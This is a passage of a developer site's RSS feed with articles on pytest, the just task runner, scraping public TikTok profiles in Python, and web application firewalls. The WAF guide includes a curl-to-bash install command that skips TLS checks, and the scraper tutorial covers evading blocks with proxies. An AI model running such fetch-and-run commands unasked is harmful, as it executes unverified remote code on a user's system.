&lt;p&gt;Most importantly, I stopped thinking of testing as &quot;how do I get my coverage number up?&quot; and started thinking more in terms of &quot;what question am I trying to answer with this test?&quot; For me, that shift made pytest much easier to understand.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The syntax is the easy part. The useful part is learning what behavior is worth testing, what should be isolated, what should run for real, and how to make a failure tell you something useful.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30938/pytest-in-practice</guid>
<pubDate>Tue, 13 Oct 2026 12:45:48 +0000</pubDate>
</item>
<item>
<title>Learning `just`: A Practical Task Runner</title>
<link>https://coderlegion.com/30937/learning-just-a-practical-task-runner</link>
<description>&lt;p&gt;I've been learning &lt;code&gt;just&lt;/code&gt; recently.&lt;/p&gt;
&lt;p&gt;I came across it while setting up a Python project and looking for a simple way to collect all the commands I use during development.&lt;/p&gt;
&lt;p&gt;This started with something I got used to in Elixir.&lt;/p&gt;
&lt;p&gt;One of the things I really like about Elixir projects is that you can put the common development tasks behind simple commands/aliases:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mix format
mix test
mix ci
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You don't have to remember every command that runs underneath. The project gives you a small set of commands and you use those.&lt;/p&gt;
&lt;p&gt;I wanted something similar for a Python project.&lt;/p&gt;
&lt;p&gt;For example, instead of remembering all the different checks I need to run, I wanted to be able to do this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;just ci
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and let the project take care of the rest.&lt;/p&gt;
&lt;h3 id=&quot;my-first-thought-was-make&quot;&gt;My first thought was Make&lt;/h3&gt;
&lt;p&gt;Make was the obvious choice.&lt;/p&gt;
&lt;p&gt;I've used Make a lot, and it works. It's installed almost everywhere, most developers have seen a Makefile before, and there is a huge amount of existing knowledge around it.&lt;/p&gt;
&lt;p&gt;So I started there.&lt;/p&gt;
&lt;p&gt;The setup was pretty small:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-make&quot;&gt;format:
	uv run ruff format --check .

lint:
	uv run ruff check .

typecheck:
	uv run mypy src/

test:
	uv run pytest --cov=src --cov-report=term-missing

ci: format lint typecheck test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That gave me exactly what I wanted.&lt;/p&gt;
&lt;p&gt;I could run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;make format
make lint
make typecheck
make test
make ci
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nothing complicated.&lt;/p&gt;
&lt;p&gt;But while doing this, I kept seeing &lt;code&gt;just&lt;/code&gt; mentioned in newer projects.&lt;/p&gt;
&lt;p&gt;That made me curious.&lt;/p&gt;
&lt;p&gt;Not because I thought Make was bad. I still use it a lot, and I have no problem reaching for it.&lt;/p&gt;
&lt;p&gt;I just wondered what &lt;code&gt;just&lt;/code&gt; was doing differently.&lt;/p&gt;
&lt;p&gt;Was it basically Make with different syntax? Was it easier to use? Did it solve some of the small annoyances that come with Make?&lt;/p&gt;
&lt;p&gt;So I decided to rebuild the same thing in &lt;code&gt;just&lt;/code&gt; and see.&lt;/p&gt;
&lt;h3 id=&quot;the-just-version&quot;&gt;The &lt;code&gt;just&lt;/code&gt; version&lt;/h3&gt;
&lt;p&gt;The nice thing was that I didn't have to change any of the actual commands.&lt;/p&gt;
&lt;p&gt;I just changed the wrapper around them:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-just&quot;&gt;format:
    uv run ruff format --check .

lint:
    uv run ruff check .

typecheck:
    uv run mypy src/

test:
    uv run pytest --cov=src --cov-report=term-missing

ci: format lint typecheck test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That's pretty much the whole file.&lt;/p&gt;
&lt;p&gt;Now I can run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;just format
just lint
just typecheck
just test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or everything with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;just ci
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;ci&lt;/code&gt; recipe depends on the other four recipes, so &lt;code&gt;just ci&lt;/code&gt; runs them in order and stops when one fails.&lt;/p&gt;
&lt;p&gt;For what I was trying to do, it felt very familiar.&lt;/p&gt;
&lt;p&gt;And that was probably the first thing I noticed. I didn't really have to learn a new way of thinking about the problem.&lt;/p&gt;
&lt;h3 id=&quot;a-few-things-i-liked-about-just&quot;&gt;A few things I liked about &lt;code&gt;just&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The basic syntax is very similar to Make.&lt;/p&gt;
&lt;p&gt;You have a recipe, optional dependencies, and then the commands to run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-just&quot;&gt;recipe_name: dependency1 dependency2
    command to run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But there are a few differences that make sense when you're using it mainly as a task runner.&lt;/p&gt;
&lt;h4 id=&quot;no-phony&quot;&gt;No &lt;code&gt;.PHONY&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;With Make, you often have something like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-make&quot;&gt;.PHONY: format lint typecheck test ci
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That's because Make is also a build system and cares about files and timestamps.&lt;/p&gt;
&lt;p&gt;For these development commands, I don't really need that behaviour.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;just&lt;/code&gt; doesn't use file timestamps to decide whether a recipe needs to run, so there is no &lt;code&gt;.PHONY&lt;/code&gt; declaration to maintain.&lt;/p&gt;
&lt;h4 id=&quot;no-tab-problem&quot;&gt;No tab problem&lt;/h4&gt;
&lt;p&gt;Then there is the classic Make issue where a command needs to be indented with a tab.&lt;/p&gt;
&lt;p&gt;I've definitely lost time to that one.&lt;/p&gt;
&lt;p&gt;With &lt;code&gt;just&lt;/code&gt;, you don't have that same tab requirement. You use normal indentation.&lt;/p&gt;
&lt;p&gt;It might seem like a small thing, but I like small improvements in tools I use.&lt;/p&gt;
&lt;h4 id=&quot;just---list&quot;&gt;&lt;code&gt;just --list&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;This was another nice surprise.&lt;/p&gt;
&lt;p&gt;You can run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;just --list
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and get a list of the recipes available in the project.&lt;/p&gt;
&lt;p&gt;You can add comments above recipes too:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-just&quot;&gt;# Format check
format:
    uv run ruff format --check .

# Run tests
test:
    uv run pytest --cov=src --cov-report=term-missing
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those comments can then show up when listing the recipes.&lt;/p&gt;
&lt;p&gt;You can also make &lt;code&gt;just&lt;/code&gt; itself show the list:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-just&quot;&gt;default:
    @just --list
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So a developer can clone the project and run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;just
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to see what is available.&lt;/p&gt;
&lt;p&gt;I like that because the task runner becomes a small piece of documentation.&lt;/p&gt;
&lt;h3 id=&quot;but-is-just-actually-better-than-make-&quot;&gt;But is &lt;code&gt;just&lt;/code&gt; actually better than Make?&lt;/h3&gt;
&lt;p&gt;I'm not sure that's the right question.&lt;/p&gt;
&lt;p&gt;Make is still a great choice in plenty of situations.&lt;/p&gt;
&lt;p&gt;If I'm working on a project that already has a Makefile, I'm not going to suggest replacing it with &lt;code&gt;just&lt;/code&gt; just because &lt;code&gt;just&lt;/code&gt; is newer.&lt;/p&gt;
&lt;p&gt;And if I'm writing something that needs to work in an environment where Make is already installed, that is a pretty good reason to use Make.&lt;/p&gt;
&lt;p&gt;The thing I found interesting about &lt;code&gt;just&lt;/code&gt; is that it feels more focused on the thing I was actually trying to do.&lt;/p&gt;
&lt;p&gt;I wasn't building anything based on file timestamps.&lt;/p&gt;
&lt;p&gt;I just wanted names for common commands and a way to combine them.&lt;/p&gt;
&lt;p&gt;For that use case, &lt;code&gt;just&lt;/code&gt; is pretty nice.&lt;/p&gt;
&lt;p&gt;But it also comes with a trade-off. Unlike Make, you probably have to install it first.&lt;/p&gt;
&lt;p&gt;So the comparison for me looks something like this:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;Make         &lt;/th&gt;&lt;th&gt;just&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Already installed &lt;/td&gt;&lt;td&gt;Often        &lt;/td&gt;&lt;td&gt;Usually not&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Task runner       &lt;/td&gt;&lt;td&gt;Yes          &lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Build system      &lt;/td&gt;&lt;td&gt;Yes          &lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;.PHONY&lt;/code&gt;          &lt;/td&gt;&lt;td&gt;Often needed &lt;/td&gt;&lt;td&gt;Not needed&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Tab requirement   &lt;/td&gt;&lt;td&gt;Yes          &lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Task listing      &lt;/td&gt;&lt;td&gt;DIY          &lt;/td&gt;&lt;td&gt;Built in&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Cross-platform    &lt;/td&gt;&lt;td&gt;Possible     &lt;/td&gt;&lt;td&gt;Designed for it&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Neither one wins across the board.&lt;/p&gt;
&lt;p&gt;Make has ubiquity.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;just&lt;/code&gt; has a nice developer experience.&lt;/p&gt;
&lt;p&gt;Which one makes more sense depends on the project.&lt;/p&gt;
&lt;h3 id=&quot;there-are-other-options-too&quot;&gt;There are other options too&lt;/h3&gt;
&lt;p&gt;Once I started looking into this, I found quite a few other tools doing roughly the same thing.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Task&lt;/code&gt; (go-task) was one I came across. It uses a YAML &lt;code&gt;Taskfile.yml&lt;/code&gt; and has some useful features around variables and templating.&lt;/p&gt;
&lt;p&gt;For Python, &lt;code&gt;poethepoet&lt;/code&gt; was another interesting option. It lets you put tasks in &lt;code&gt;pyproject.toml&lt;/code&gt;, which can be nice if you don't want another configuration file.&lt;/p&gt;
&lt;p&gt;And if you're working in Node, npm scripts already give you a similar setup through &lt;code&gt;package.json&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;They all solve a similar problem.&lt;/p&gt;
&lt;p&gt;You have a bunch of commands that developers need to run, and you give those commands names so people don't have to remember all the details.&lt;/p&gt;
&lt;p&gt;The differences are mostly around syntax, ecosystem, and how much functionality you want.&lt;/p&gt;
&lt;h3 id=&quot;so-am-i-switching-to-just-&quot;&gt;So, am I switching to &lt;code&gt;just&lt;/code&gt;?&lt;/h3&gt;
&lt;p&gt;For everything? No.&lt;/p&gt;
&lt;p&gt;I'm still going to use Make.&lt;/p&gt;
&lt;p&gt;If I open a project and there is a Makefile, I'll use it. If I'm working on infrastructure where Make is already expected, I'll probably use it there too.&lt;/p&gt;
&lt;p&gt;But for projects I start myself, I can see myself reaching for &lt;code&gt;just&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The thing I liked most was how little there was to learn.&lt;/p&gt;
&lt;p&gt;My existing commands stayed exactly the same. I just put a small, readable interface around them.&lt;/p&gt;
&lt;p&gt;That brought me back to why I started looking at this in the first place.&lt;/p&gt;
&lt;p&gt;In Elixir, I'm used to having commands like:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;mix ci
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;that give the project a simple interface for common development tasks.&lt;/p&gt;
&lt;p&gt;With Python, I found myself wanting the same thing.&lt;/p&gt;
&lt;p&gt;Make was one way to do it.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;just&lt;/code&gt; is another.&lt;/p&gt;
&lt;p&gt;I'm glad I spent the time learning it. Not because it replaced Make, but because now I know another tool that fits this particular problem really well.&lt;/p&gt;
&lt;p&gt;And sometimes that's enough of a reason to try something new.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30937/learning-just-a-practical-task-runner</guid>
<pubDate>Tue, 13 Oct 2026 12:45:10 +0000</pubDate>
</item>
<item>
<title>TikTok Scraper in Python: Profiles, Videos and the Walls You'll Hit (2026)</title>
<link>https://coderlegion.com/30800/tiktok-scraper-in-python-profiles-videos-and-the-walls-youll-hit-2026</link>
<description>&lt;p&gt;&quot;How do I scrape TikTok?&quot; usually means one of three things: follower counts for a list of creators, the latest videos from an account with their views and likes, or tracking how those numbers change over time. This guide builds that in plain Python, shows what works without a browser, and explains where the DIY approach stops working.&lt;/p&gt;
&lt;h3 id=&quot;what-you-can-get-without-logging-in&quot;&gt;What you can get without logging in&lt;/h3&gt;
&lt;p&gt;TikTok's web app is a React app, but the first HTML response for a profile page (&lt;code&gt;https://www.tiktok.com/@handle&lt;/code&gt;) contains a big JSON blob in a script tag:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;script id=&quot;__UNIVERSAL_DATA_FOR_REHYDRATION__&quot; type=&quot;application/json&quot;&amp;gt;{...}&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Inside it, &lt;code&gt;__DEFAULT_SCOPE__[&quot;webapp.user-detail&quot;][&quot;userInfo&quot;]&lt;/code&gt; holds the profile (&lt;code&gt;user&lt;/code&gt;) and its counters (&lt;code&gt;stats&lt;/code&gt;). That's public data, and you can read it with &lt;code&gt;requests&lt;/code&gt; and the standard &lt;code&gt;json&lt;/code&gt; module. You don't need BeautifulSoup.&lt;/p&gt;
&lt;p&gt;The video list is different. The grid loads from an internal endpoint (&lt;code&gt;/api/post/item_list/&lt;/code&gt;) that needs signed query parameters (&lt;code&gt;msToken&lt;/code&gt;, &lt;code&gt;X-Bogus&lt;/code&gt;, &lt;code&gt;X-Gnarly&lt;/code&gt;, and so on) produced by obfuscated JavaScript. The signing changes often, so we'll treat that part as a known limit and come back to it later.&lt;/p&gt;
&lt;h3 id=&quot;setup-1&quot;&gt;Setup&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;python -m venv .venv &amp;amp;&amp;amp; source .venv/bin/activate
pip install requests
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;step-1-fetch-a-profile&quot;&gt;Step 1: Fetch a profile&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import json
import re
import time
import requests

SESSION = requests.Session()
SESSION.headers.update({
    &quot;User-Agent&quot;: (
        &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 &quot;
        &quot;(KHTML, like Gecko) Chrome/129.0 Safari/537.36&quot;
    ),
    &quot;Accept-Language&quot;: &quot;en-US,en;q=0.9&quot;,
})

DATA_RE = re.compile(
    r'&amp;lt;script id=&quot;__UNIVERSAL_DATA_FOR_REHYDRATION__&quot;[^&amp;gt;]*&amp;gt;(.*?)&amp;lt;/script&amp;gt;',
    re.S,
)

class ProfileError(Exception):
    pass

def fetch_profile(handle: str) -&amp;gt; dict:
    handle = handle.lstrip(&quot;@&quot;)
    resp = SESSION.get(f&quot;https://www.tiktok.com/@{handle}&quot;, timeout=20)
    resp.raise_for_status()

    match = DATA_RE.search(resp.text)
    if not match:
        raise ProfileError(&quot;rehydration blob missing (blocked or layout changed)&quot;)

    data = json.loads(match.group(1))
    detail = data.get(&quot;__DEFAULT_SCOPE__&quot;, {}).get(&quot;webapp.user-detail&quot;, {})
    if detail.get(&quot;statusCode&quot;, 0) != 0:
        raise ProfileError(f&quot;TikTok statusCode {detail.get('statusCode')}&quot;)

    info = detail[&quot;userInfo&quot;]
    user, stats = info[&quot;user&quot;], info[&quot;stats&quot;]
    return {
        &quot;handle&quot;: user[&quot;uniqueId&quot;],
        &quot;id&quot;: user[&quot;id&quot;],
        &quot;sec_uid&quot;: user[&quot;secUid&quot;],
        &quot;nickname&quot;: user.get(&quot;nickname&quot;),
        &quot;verified&quot;: user.get(&quot;verified&quot;, False),
        &quot;private&quot;: user.get(&quot;privateAccount&quot;, False),
        &quot;bio&quot;: user.get(&quot;signature&quot;, &quot;&quot;),
        &quot;followers&quot;: stats.get(&quot;followerCount&quot;),
        &quot;following&quot;: stats.get(&quot;followingCount&quot;),
        &quot;likes&quot;: stats.get(&quot;heartCount&quot;) or stats.get(&quot;heart&quot;),
        &quot;videos&quot;: stats.get(&quot;videoCount&quot;),
    }

if __name__ == &quot;__main__&quot;:
    print(fetch_profile(&quot;@tiktok&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A few details that will save you some debugging:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Check &lt;code&gt;statusCode&lt;/code&gt;, not just the HTTP status.&lt;/strong&gt; TikTok returns HTTP 200 for missing or banned accounts. The blob then carries a non-zero &lt;code&gt;statusCode&lt;/code&gt; (10221 or 10202 are common) and no &lt;code&gt;userInfo&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Keep &lt;code&gt;sec_uid&lt;/code&gt;.&lt;/strong&gt; Handles can change, but the numeric &lt;code&gt;id&lt;/code&gt; and &lt;code&gt;secUid&lt;/code&gt; don't. Use them as your primary key.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Don't parse the visible &quot;1.2M&quot;.&lt;/strong&gt; The JSON holds exact integers, so use those.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;step-2-store-snapshots-in-sqlite&quot;&gt;Step 2: Store snapshots in SQLite&lt;/h3&gt;
&lt;p&gt;A single scrape is a fact. A series of scrapes shows a trend. Store every run as a row, so growth is just a &lt;code&gt;SELECT&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import sqlite3
from datetime import datetime, timezone

def init_db(path=&quot;tiktok.db&quot;):
    db = sqlite3.connect(path)
    db.execute(&quot;&quot;&quot;
        CREATE TABLE IF NOT EXISTS profile_snapshots (
            user_id   TEXT NOT NULL,
            handle    TEXT NOT NULL,
            taken_at  TEXT NOT NULL,
            followers INTEGER,
            likes     INTEGER,
            videos    INTEGER,
            PRIMARY KEY (user_id, taken_at)
        )
    &quot;&quot;&quot;)
    return db

def save_snapshot(db, p):
    db.execute(
        &quot;INSERT OR IGNORE INTO profile_snapshots VALUES (?,?,?,?,?,?)&quot;,
        (p[&quot;id&quot;], p[&quot;handle&quot;],
         datetime.now(timezone.utc).strftime(&quot;%Y-%m-%dT%H:00Z&quot;),
         p[&quot;followers&quot;], p[&quot;likes&quot;], p[&quot;videos&quot;]),
    )
    db.commit()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;taken_at&lt;/code&gt; value is rounded to the hour, so if a cron job accidentally runs twice in an hour, &lt;code&gt;INSERT OR IGNORE&lt;/code&gt; drops the duplicate.&lt;/p&gt;
&lt;h3 id=&quot;step-3-loop-over-many-creators-politely&quot;&gt;Step 3: Loop over many creators politely&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import random

def run(handles, db):
    for h in handles:
        for attempt in range(3):
            try:
                save_snapshot(db, fetch_profile(h))
                print(&quot;ok&quot;, h)
                break
            except ProfileError as e:
                print(&quot;skip&quot;, h, e)
                break
            except requests.RequestException as e:
                wait = 2 ** attempt * 5
                print(&quot;retry&quot;, h, e, f&quot;in {wait}s&quot;)
                time.sleep(wait)
        time.sleep(random.uniform(3, 7))

if __name__ == &quot;__main__&quot;:
    db = init_db()
    run([&quot;tiktok&quot;, &quot;nasa&quot;, &quot;duolingo&quot;], db)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then the growth query looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT handle,
       MAX(followers) - MIN(followers) AS gained,
       COUNT(*) AS samples
FROM profile_snapshots
WHERE taken_at &amp;gt;= strftime('%Y-%m-%dT00:00Z', 'now', '-7 days')
GROUP BY handle
ORDER BY gained DESC;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;the-walls-you-ll-hit-1&quot;&gt;The walls you'll hit&lt;/h3&gt;
&lt;p&gt;This is where most TikTok tutorials stop being honest. Here's what actually happens once the script runs on a schedule:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Datacenter IPs get a different page.&lt;/strong&gt; From a cloud VM you will often get a page with no rehydration blob, a &quot;verify&quot; screen, or a redirect. It works from a home connection and fails on a server. Residential proxies help, but they cost money and you have to rotate them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The blob moves.&lt;/strong&gt; In the last few years the data has lived in &lt;code&gt;SIGI_STATE&lt;/code&gt;, then in &lt;code&gt;__UNIVERSAL_DATA_FOR_REHYDRATION__&lt;/code&gt;, with different key paths each time. Wrap the parsing in a single function (as above) and alert when it raises, so a layout change doesn't silently produce empty rows.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Videos need signatures.&lt;/strong&gt; The profile HTML sometimes includes a few items, but often none. Full pagination goes through &lt;code&gt;item_list&lt;/code&gt; with signed parameters. The DIY options are running a headless browser (Playwright) and capturing the XHR responses while scrolling, or reverse-engineering the signer. Both work, both are slow or fragile, and both break when TikTok ships a new bundle.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Region matters.&lt;/strong&gt; The same handle can return different counts or videos depending on the exit country. Pin your proxy region if you compare numbers over time.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rate limits are soft.&lt;/strong&gt; You won't get a clean 429. Instead, responses quietly degrade to empty blobs. Track the empty-response rate as a health metric.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Respect the data.&lt;/strong&gt; Only collect public data, store what you actually need, and check TikTok's terms and your local privacy rules (GDPR applies to creator data in the EU).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;when-diy-stops-being-worth-it&quot;&gt;When DIY stops being worth it&lt;/h3&gt;
&lt;p&gt;If you only need follower counts for a few dozen accounts, the script above, a cheap VPS, and maybe a proxy are enough. Once you need full video history with views, likes and comments, the signing problem eats your time.&lt;/p&gt;
&lt;p&gt;That's the point where I switch to an API. For example, &lt;a rel=&quot;nofollow&quot; href=&quot;https://scrapeatlas.com&quot;&gt;ScrapeAtlas*&lt;/a&gt; has a &lt;code&gt;/v1/tiktok/profile/videos&lt;/code&gt; endpoint that takes a handle, a sort order (&lt;code&gt;latest&lt;/code&gt;, &lt;code&gt;popular&lt;/code&gt;, &lt;code&gt;oldest&lt;/code&gt;), an optional &lt;code&gt;since&lt;/code&gt; date, and a &lt;code&gt;max_cursor&lt;/code&gt; for pagination. It returns the same &lt;code&gt;itemList&lt;/code&gt; shape TikTok uses internally:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import os
import requests

API = &quot;https://api.scrapeatlas.com/v1/tiktok/profile/videos&quot;
HEADERS = {&quot;x-api-key&quot;: os.environ[&quot;SCRAPEATLAS_API_KEY&quot;]}

def all_videos(handle, since=None):
    params = {&quot;handle&quot;: handle, &quot;sort_by&quot;: &quot;latest&quot;}
    if since:
        params[&quot;since&quot;] = since          # ISO 8601 or Unix seconds
    while True:
        r = requests.get(API, headers=HEADERS, params=params, timeout=60)
        r.raise_for_status()
        page = r.json()
        for v in page.get(&quot;itemList&quot;, []):
            s = v.get(&quot;stats&quot;, {})
            yield {
                &quot;id&quot;: v[&quot;id&quot;],
                &quot;created&quot;: v[&quot;createTime&quot;],
                &quot;desc&quot;: v.get(&quot;desc&quot;, &quot;&quot;),
                &quot;views&quot;: s.get(&quot;playCount&quot;),
                &quot;likes&quot;: s.get(&quot;diggCount&quot;),
                &quot;comments&quot;: s.get(&quot;commentCount&quot;),
                &quot;shares&quot;: s.get(&quot;shareCount&quot;),
            }
        if not page.get(&quot;hasMore&quot;):
            break
        params[&quot;max_cursor&quot;] = page[&quot;cursor&quot;]

for v in all_videos(&quot;nasa&quot;, since=&quot;2026-09-01&quot;):
    print(v)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since the fields match TikTok's own &lt;code&gt;stats&lt;/code&gt; object, the SQLite schema above only needs a &lt;code&gt;video_snapshots&lt;/code&gt; table next to &lt;code&gt;profile_snapshots&lt;/code&gt;, and the rest of your pipeline stays the same.&lt;/p&gt;
&lt;h3 id=&quot;wrap-up&quot;&gt;Wrap-up&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Profiles: &lt;code&gt;requests&lt;/code&gt; plus the &lt;code&gt;__UNIVERSAL_DATA_FOR_REHYDRATION__&lt;/code&gt; blob, keyed on &lt;code&gt;id&lt;/code&gt;/&lt;code&gt;secUid&lt;/code&gt;, with &lt;code&gt;statusCode&lt;/code&gt; checks.&lt;/li&gt;
&lt;li&gt;Store hourly snapshots in SQLite and compute growth with SQL.&lt;/li&gt;
&lt;li&gt;Expect IP blocking, layout changes and signed video endpoints. Decide early whether you'll maintain a browser or signer, or hand that part off.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you've found a more stable way to get the video list, let me know in the comments.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;*I build it.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/30800/tiktok-scraper-in-python-profiles-videos-and-the-walls-youll-hit-2026</guid>
<pubDate>Mon, 12 Oct 2026 10:59:19 +0000</pubDate>
</item>
<item>
<title>What Is a WAF and How Does It Work? A Plain-English Guide</title>
<link>https://coderlegion.com/30547/what-is-a-waf-and-how-does-it-work-a-plain-english-guide</link>
<description>&lt;h2 id=&quot;what-is-a-waf-and-how-does-it-work-a-plain-english-guide&quot;&gt;What Is a WAF and How Does It Work? A Plain-English Guide&lt;/h2&gt;
&lt;p&gt;If you run a website, you've probably been told to &quot;put a WAF in front of it.&quot; Here's what that actually means — no jargon.&lt;/p&gt;
&lt;h3 id=&quot;what-waf-stands-for&quot;&gt;What &quot;WAF&quot; stands for&lt;/h3&gt;
&lt;p&gt;A &lt;strong&gt;Web Application Firewall&lt;/strong&gt; protects your app at layer 7 (the application layer) — the part that speaks HTTP. Unlike a network firewall that only cares about IPs and ports, a WAF reads the &lt;em&gt;content&lt;/em&gt; of requests and decides whether they're safe.&lt;/p&gt;
&lt;h3 id=&quot;what-problem-it-solves&quot;&gt;What problem it solves&lt;/h3&gt;
&lt;p&gt;Most web attacks arrive as ordinary-looking HTTP requests that carry malicious payloads: a login field stuffed with SQL, a URL containing a script tag, a flood of requests from a botnet. A WAF inspects those requests before they reach your application code and blocks the bad ones.&lt;/p&gt;
&lt;h3 id=&quot;how-it-works&quot;&gt;How it works&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;It sits in front of your app&lt;/strong&gt; as a reverse proxy. Every request hits the WAF first.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It inspects the request&lt;/strong&gt; — headers, URL, body, and cookies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It decides allow / block / challenge&lt;/strong&gt; based on its detection logic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clean traffic passes through&lt;/strong&gt; to your app; everything else is stopped.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;two-ways-wafs-detect-attacks&quot;&gt;Two ways WAFs detect attacks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Signature-based:&lt;/strong&gt; matches known attack patterns (like an antivirus). Needs constant updating, and novel attacks slip through.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Semantic analysis:&lt;/strong&gt; understands what a request is &lt;em&gt;trying to do&lt;/em&gt; (for example, &quot;this is a SQL command&quot;), so it catches variants without a signature. SafeLine uses this approach, which keeps false positives low.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;where-it-sits&quot;&gt;Where it sits&lt;/h3&gt;
&lt;p&gt;A self-hosted WAF like SafeLine runs on your own server as a reverse proxy. You install it with one command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;bash -c &quot;$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)&quot; -- --en
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then open &lt;code&gt;https://&amp;lt;your-server-ip&amp;gt;:9443&lt;/code&gt;, point it at your app, and it filters traffic. No third party in the path, no DNS change.&lt;/p&gt;
&lt;h3 id=&quot;waf-vs-firewall-vs-ips&quot;&gt;WAF vs firewall vs IPS&lt;/h3&gt;
&lt;ul&gt;
